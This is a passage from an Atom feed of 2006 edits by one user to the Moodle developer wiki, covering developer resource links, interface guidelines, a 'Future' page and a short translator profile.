*[http://tracker.moodle.org/ Moodle tracker] - bug reports, feature requests and other tracked issues&lt;br /&gt;
*[http://moodle.org/mod/forum/view.php?id=55 General developer forum]&lt;br /&gt;
*[http://moodle.cvs.sourceforge.net/moodle/moodle/ CVS code] - browse the Moodle code via the web&lt;br /&gt;
*[http://moodle.org/xref/nav.html?index.html Cross reference] - phpxref output for browsing Moodle source code&lt;br /&gt;
*[http://phpdocs.moodle.org/ Moodle PHP doc reference] - automatically generated documentation&lt;br /&gt;
*[[Database Schema|Database Schema]] - for recent releases&lt;br /&gt;
*[http://moodle.org/course/view.php?id=5#4 Development news and discussion] section of Using Moodle course&lt;br /&gt;
*[http://developer.yahoo.com/yui YUI documentation] - YUI is the official AJAX library in moodle.&lt;br /&gt;
*[[Setting up Eclipse for Moodle development]] - Eclipse is a great editor to use for php development, if you can work out how to set it up.&lt;br /&gt;
*[[Unmerged files]] - changes on the stable branch in CVS that have not been merged to HEAD&lt;br /&gt;
&lt;br /&gt;
==How you can contribute==&lt;br /&gt;
&lt;br /&gt;
The M in Moodle stands for &#039;Modular&#039;. There are many different types of components that you can contribute that can be plugged into Moodle to provide additional functionality. When you have developed a new component please publish it in the [http://moodle.org/mod/data/view.php?id=6009 database of Moodle modules and plugins]. The following types of plugins currently exist (in alphabetical order):&lt;br /&gt;
*[[Modules (developer)|Activity modules]]&lt;br /&gt;
*[[Admin reports|Admin reports]]&lt;br /&gt;
*[[Assignment types]]&lt;br /&gt;
*[[Authentication|Authentication methods]]&lt;br /&gt;
*[[Blocks Howto|Blocks]]&lt;br /&gt;
*[[Course formats]]&lt;br /&gt;
*[[Database fields (developer)|Database fields]]&lt;br /&gt;
*[[Database presets]]&lt;br /&gt;
*[[Enrolment plugins (developer)|Enrolment plugins]]&lt;br /&gt;
*[[Filters|Filters]]&lt;br /&gt;
*[[Question_engine]]&lt;br /&gt;
*[[Question import/export formats]]&lt;br /&gt;
*[[Question bank|Question bank teacher docs]]&lt;br /&gt;
*[[Question_engine#Question_types|Question types developper docs]]&lt;br /&gt;
*[[Quiz reports]]&lt;br /&gt;
*[[Resource types]]&lt;br /&gt;
*[[SSO plugins]]&lt;br /&gt;
&lt;br /&gt;
There are also ways you can contribute that don&#039;t involve PHP programming:&lt;br /&gt;
*[[Themes]]&lt;br /&gt;
*[[Translation]]&lt;br /&gt;
*[[Database Schemas|Database schemas]]&lt;br /&gt;
&lt;br /&gt;
You can also help a lot by&lt;br /&gt;
*[[Tests|Testing]]&lt;br /&gt;
*[[Tracker|Participating in the bug tracker]]&lt;br /&gt;
&lt;br /&gt;
==Plans for the future==&lt;br /&gt;
Ideas for and details of planned future features of Moodle are initially discussed on the forums in the [http://moodle.org/course/view.php?id=5 Using Moodle] course at moodle.org. That developer discussions are intermixed with user discussions in the same forums may seem strange at first but is one of the reasons for the success of Moodle. It is important that both end-users and developers discuss the future features together.&lt;br /&gt;
&lt;br /&gt;
Once ideas begin to crystalize on the forums they can be summarized in this wiki, either as part of the [[Roadmap]] or in the form of [[Developer notes]]. These pages then form the basis for further discussion in the forums.&lt;br /&gt;
*[[Roadmap]]&lt;br /&gt;
*[[Developer notes]]&lt;br /&gt;
*[[Student projects]]&lt;br /&gt;
*[[Developer conference|Developer conferences]]&lt;br /&gt;
&lt;br /&gt;
==Documentation for core components==&lt;br /&gt;
This section is for documentation of specific components of the existing core Moodle code. Discussion of components that are under discussion or in development can be found in the [[Developer notes]] or on the [[Roadmap]].&lt;br /&gt;
&lt;br /&gt;
*[[Migration to Role-driven model|Migration to Role-driven model]] @ v[[1.7]]&lt;br /&gt;
*[[UTF-8 migration|Migration to UTF-8]] @ v[[:Category:Moodle 1.6|1.6]]&lt;br /&gt;
*[[Question engine]]&lt;br /&gt;
*[[Quiz developer docs|Quiz module]]&lt;br /&gt;
*[[SCORM schema|SCORM module 1.5 schema]]&lt;br /&gt;
*[[Authentication API]]&lt;br /&gt;
*[[Stats package]]&lt;br /&gt;
*[[Email processing]]&lt;br /&gt;
*[[Cookieless Sessions]]&lt;br /&gt;
*[[lib/formslib.php|Formslib]] for quickly writing code to display and process more accessible and secure forms.&lt;br /&gt;
&lt;br /&gt;
==Documentation for contributed code==&lt;br /&gt;
Many Moodle users contribute code for the benefit of other Moodle users. This can take the form of new activity modules, blocks, themes, resource plug-ins, assignment plug-ins, question type plug-ins, question import/export formats, quiz report plug-ins, course formats, ... This code is initially posted on the forums in the [http://moodle.org/course/view.php?id=5 Using Moodle] course and then often go into the [http://cvs.sourceforge.net/viewcvs.py/moodle/contrib/ contrib area] of the Moodle [[CVS]] repository. When you have developed a new component please publish it in the [http://moodle.org/mod/data/view.php?id=6009 database of Moodle modules and plugins]. Developer documentation for these components should be listed here.&lt;br /&gt;
&lt;br /&gt;
==See also==&lt;br /&gt;
*[http://security.moodle.org/ Moodle Security Centre]&lt;br /&gt;
*[http://moodle.com/partners/ Moodle Partners] - providers of custom Moodle development services&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[es:Documentación para Desarrolladores]]&lt;br /&gt;
[[fr:Documentation développeur]]&lt;br /&gt;
[[zh:开发者文档]]&lt;br /&gt;
[[ja:開発者ドキュメント]]&lt;/div&gt;</summary>
		<author><name>Mits</name></author>
	</entry>
	<entry>
		<id>https://docs.moodle.org/dev/index.php?title=Interface_guidelines&amp;diff=1779</id>
		<title>Interface guidelines</title>
		<link rel="alternate" type="text/html" href="https://docs.moodle.org/dev/index.php?title=Interface_guidelines&amp;diff=1779"/>
		<updated>2006-11-14T09:18:32Z</updated>

		<summary type="html">&lt;p&gt;Mits: ja link&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;This document is not authoritative, it is a collection of ideas and under construction.&lt;br /&gt;
&lt;br /&gt;
==Keeping it simple==&lt;br /&gt;
&lt;br /&gt;
Use the minimum interface required to get the job done&lt;br /&gt;
&lt;br /&gt;
==Standard pages==&lt;br /&gt;
&lt;br /&gt;
===Activity modules===&lt;br /&gt;
&lt;br /&gt;
*&#039;&#039;index.php&#039;&#039; - lists all instances for that module in a course&lt;br /&gt;
*&#039;&#039;view.php&#039;&#039; - displays a particular instance&lt;br /&gt;
*&#039;&#039;config.html&#039;&#039; - configure an instance of the module&lt;br /&gt;
&lt;br /&gt;
===Blocks===&lt;br /&gt;
&lt;br /&gt;
*&#039;&#039;config.html&#039;&#039; - configure an instance of the block&lt;br /&gt;
&lt;br /&gt;
==One script per major function/page==&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
==Page layout==&lt;br /&gt;
&lt;br /&gt;
# Print headings with print_heading, use the CSS hooks for IDs and Classes&lt;br /&gt;
# Print boxes around text using print_simple_box, use the CSS hooks for IDs and Classes&lt;br /&gt;
&lt;br /&gt;
==Form layout==&lt;br /&gt;
&lt;br /&gt;
# Show the more important settings at the top&lt;br /&gt;
# Each entry should have a label, and if necessary, a help file&lt;br /&gt;
# If there are more than 10 options, split them into required and optional/extra/advanced parameters&lt;br /&gt;
&lt;br /&gt;
==Dealing with tables==&lt;br /&gt;
&lt;br /&gt;
Use the print_table function whenever possible.&lt;br /&gt;
&lt;br /&gt;
==Standard navigation tools==&lt;br /&gt;
&lt;br /&gt;
# All pages should call print_header, and supply a standard navigation path to be displayed in it. Where possible, it should look like: COURSE &amp;gt;&amp;gt; INDEX &amp;gt;&amp;gt; INSTANCE &amp;gt;&amp;gt; SUBPAGES...&lt;br /&gt;
# Pages within activity modules should call navmenu() to generate the appropriate navigation menu.&lt;br /&gt;
&lt;br /&gt;
==URLs==&lt;br /&gt;
&lt;br /&gt;
# URLs should be as short as possible.&lt;br /&gt;
# No underscores in parameter names or files names&lt;br /&gt;
# Never use two words when one would do.&lt;br /&gt;
&lt;br /&gt;
==Buttons vs links==&lt;br /&gt;
&lt;br /&gt;
This is a hard one to define ...&lt;br /&gt;
&lt;br /&gt;
The Google Web Accelerator issue definitely provides some pointers here:&lt;br /&gt;
&lt;br /&gt;
# Actions which can modify the state of Moodle (data files, database, session information) should be performed through buttons&lt;br /&gt;
# At the very least, such actions which are implemented as links should forward to a confirmation page which *does* use buttons&lt;br /&gt;
&lt;br /&gt;
==CSS naming==&lt;br /&gt;
&lt;br /&gt;
* See [[Standards|theme standards]]&lt;br /&gt;
&lt;br /&gt;
==Linking to help==&lt;br /&gt;
&lt;br /&gt;
* Help buttons should be on the right of the thing (as an exception it can be left, if the thing is right-aligned)&lt;br /&gt;
&lt;br /&gt;
==Related topics==&lt;br /&gt;
&lt;br /&gt;
Robin Good&#039;s Latest News. &amp;quot;Interaction Design Meets Online Real Estate&amp;quot; 1 Mar. 2005 http://www.masternewmedia.org/news/2005/03/01/interaction_design_meets_online_real.htm&lt;br /&gt;
&lt;br /&gt;
The article presents a view of virtual spaces with the focus on human actions. It reminded me of communicative approaches like Moodle. The interface serves as the handle of all the communication tools.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[es:Manual de estilo de la interfaz]]&lt;br /&gt;
[[ja:インターフェースガイドライン]]&lt;/div&gt;</summary>
		<author><name>Mits</name></author>
	</entry>
	<entry>
		<id>https://docs.moodle.org/dev/index.php?title=Future&amp;diff=26363</id>
		<title>Future</title>
		<link rel="alternate" type="text/html" href="https://docs.moodle.org/dev/index.php?title=Future&amp;diff=26363"/>
		<updated>2006-08-26T01:03:55Z</updated>

		<summary type="html">&lt;p&gt;Mits: added Japanese inter-language linking&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{About Moodle}}&lt;br /&gt;
As Moodle gains in maturity, its directions are increasingly influenced by the community of developers and users. A dynamic database of proposed features and their status can be found at [http://tracker.moodle.org/ tracker.moodle.org]. Your [[Credits|contributions]] in the form of ideas, code, feedback and promotion are all very welcome - see the [[Documentation for Developers|Developers manual]] and the [http://moodle.org/help community forums] for more details. You can also pay to have certain features developed sooner- see [http://moodle.com/development/ moodle.com/development] for information and a quote.&lt;br /&gt;
&lt;br /&gt;
For more detailed information, see our [[Roadmap]] for developers.&lt;br /&gt;
&lt;br /&gt;
[[Category:Core]]&lt;br /&gt;
[[Category:Administrator]]&lt;br /&gt;
[[Category:Developer]]&lt;br /&gt;
&lt;br /&gt;
[[es:Futuro]]&lt;br /&gt;
[[nl:Toekomst]]&lt;br /&gt;
[[de:Zukunft]]&lt;br /&gt;
[[fr:Futur]]&lt;br /&gt;
[[ja:未来]]&lt;/div&gt;</summary>
		<author><name>Mits</name></author>
	</entry>
	<entry>
		<id>https://docs.moodle.org/dev/index.php?title=Future&amp;diff=26362</id>
		<title>Future</title>
		<link rel="alternate" type="text/html" href="https://docs.moodle.org/dev/index.php?title=Future&amp;diff=26362"/>
		<updated>2006-08-25T23:25:29Z</updated>

		<summary type="html">&lt;p&gt;Mits: Changed Moodle Tracker URI&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{About Moodle}}&lt;br /&gt;
As Moodle gains in maturity, its directions are increasingly influenced by the community of developers and users. A dynamic database of proposed features and their status can be found at [http://tracker.moodle.org/ tracker.moodle.org]. Your [[Credits|contributions]] in the form of ideas, code, feedback and promotion are all very welcome - see the [[Documentation for Developers|Developers manual]] and the [http://moodle.org/help community forums] for more details. You can also pay to have certain features developed sooner- see [http://moodle.com/development/ moodle.com/development] for information and a quote.&lt;br /&gt;
&lt;br /&gt;
For more detailed information, see our [[Roadmap]] for developers.&lt;br /&gt;
&lt;br /&gt;
[[Category:Core]]&lt;br /&gt;
[[Category:Administrator]]&lt;br /&gt;
[[Category:Developer]]&lt;br /&gt;
&lt;br /&gt;
[[es:Futuro]]&lt;br /&gt;
[[nl:Toekomst]]&lt;br /&gt;
[[de:Zukunft]]&lt;br /&gt;
[[fr:Futur]]&lt;/div&gt;</summary>
		<author><name>Mits</name></author>
	</entry>
	<entry>
		<id>https://docs.moodle.org/dev/index.php?title=User:Mitsuhiro_Yoshida&amp;diff=19912</id>
		<title>User:Mitsuhiro Yoshida</title>
		<link rel="alternate" type="text/html" href="https://docs.moodle.org/dev/index.php?title=User:Mitsuhiro_Yoshida&amp;diff=19912"/>
		<updated>2006-08-08T11:15:30Z</updated>

		<summary type="html">&lt;p&gt;Mits: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;The official translator for Moodle in Japanese since Nov. 21, 2002.&amp;lt;br /&amp;gt;&lt;br /&gt;
Moodle Partner&amp;lt;br /&amp;gt;&lt;br /&gt;
Moodle theme Oceanblue developer&lt;br /&gt;
&lt;br /&gt;
http://mitstek.com/&lt;/div&gt;</summary>
		<author><name>Mits</name></author>
	</entry>
	<entry>
		<id>https://docs.moodle.org/dev/index.php?title=User:Mitsuhiro_Yoshida&amp;diff=19911</id>
		<title>User:Mitsuhiro Yoshida</title>
		<link rel="alternate" type="text/html" href="https://docs.moodle.org/dev/index.php?title=User:Mitsuhiro_Yoshida&amp;diff=19911"/>
		<updated>2006-08-08T11:06:24Z</updated>

		<summary type="html">&lt;p&gt;Mits: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;The official translator for Moodle in Japanese since Nov. 21, 2002.&amp;lt;br /&amp;gt;&lt;br /&gt;
Moodle Partner&amp;lt;br /&amp;gt;&lt;br /&gt;
Moodle theme Oceanblue developer&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
http://mitstek.com/&lt;/div&gt;</summary>
		<author><name>Mits</name></author>
	</entry>
</feed>